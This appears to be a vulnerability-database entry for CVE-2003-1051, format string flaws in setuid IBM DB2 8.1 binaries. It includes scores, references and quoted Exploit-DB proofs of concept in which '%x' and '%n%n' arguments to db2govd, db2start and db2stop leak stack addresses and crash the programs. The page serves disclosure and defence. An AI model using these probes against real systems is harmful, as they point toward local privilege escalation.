CVE-2003-1051
published 2004-09-28CVE-2003-1051: Multiple format string vulnerabilities in IBM DB2 Universal Database 8.1 may allow local users to execute arbitrary code via certain command line arguments to…
PriorityP429high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
1.26%
66.2th percentile
Multiple format string vulnerabilities in IBM DB2 Universal Database 8.1 may allow local users to execute arbitrary code via certain command line arguments to (1) db2start, (2) db2stop, or (3) db2govd.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | db2 | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
IBM DB2 - 'db2govd' Format String Arbitrary Code Execution
exploitdb·2003-11-07
CVE-2003-1051 IBM DB2 - 'db2govd' Format String Arbitrary Code Execution
IBM DB2 - 'db2govd' Format String Arbitrary Code Execution
---
source: https://www.securityfocus.com/bid/8989/info
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %x
GOV1023N Unable to open configuration file "bfffed88". RC = "-2045837302".
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop a %x
db2govd: GOV1005N No governor for database "A" on node "bfffe
Exploit-DB
IBM DB2 - 'db2start' Format String Arbitrary Code Execution
exploitdb·2003-11-07
CVE-2003-1051 IBM DB2 - 'db2start' Format String Arbitrary Code Execution
IBM DB2 - 'db2start' Format String Arbitrary Code Execution
---
source: https://www.securityfocus.com/bid/8989/info
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.
[kf@RiotStarter adm]$ ./db2start %x
SQL2032N The "bffff270" parameter is not valid.
[kf@RiotStarter adm]$ ./db2start %n%n
Segmentation fault
[kf@RiotStarter adm]$ ./db2stop %x
SQL2032N The "bffff6f0" parameter is not valid.
Exploit-DB
IBM DB2 - 'db2stop' Format String Arbitrary Code Execution
exploitdb·2003-11-07
CVE-2003-1051 IBM DB2 - 'db2stop' Format String Arbitrary Code Execution
IBM DB2 - 'db2stop' Format String Arbitrary Code Execution
---
source: https://www.securityfocus.com/bid/8989/info
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.
[kf@RiotStarter adm]$ ./db2stop %n%n
Segmentation fault
No writeups or analysis indexed.
http://www.secnetops.com/research/advisories/SRT2003-11-06-0710.txthttp://www.securityfocus.com/archive/1/343804http://www.securityfocus.com/bid/8989https://exchange.xforce.ibmcloud.com/vulnerabilities/13633http://www.secnetops.com/research/advisories/SRT2003-11-06-0710.txthttp://www.securityfocus.com/archive/1/343804http://www.securityfocus.com/bid/8989https://exchange.xforce.ibmcloud.com/vulnerabilities/13633
2004-09-28
Published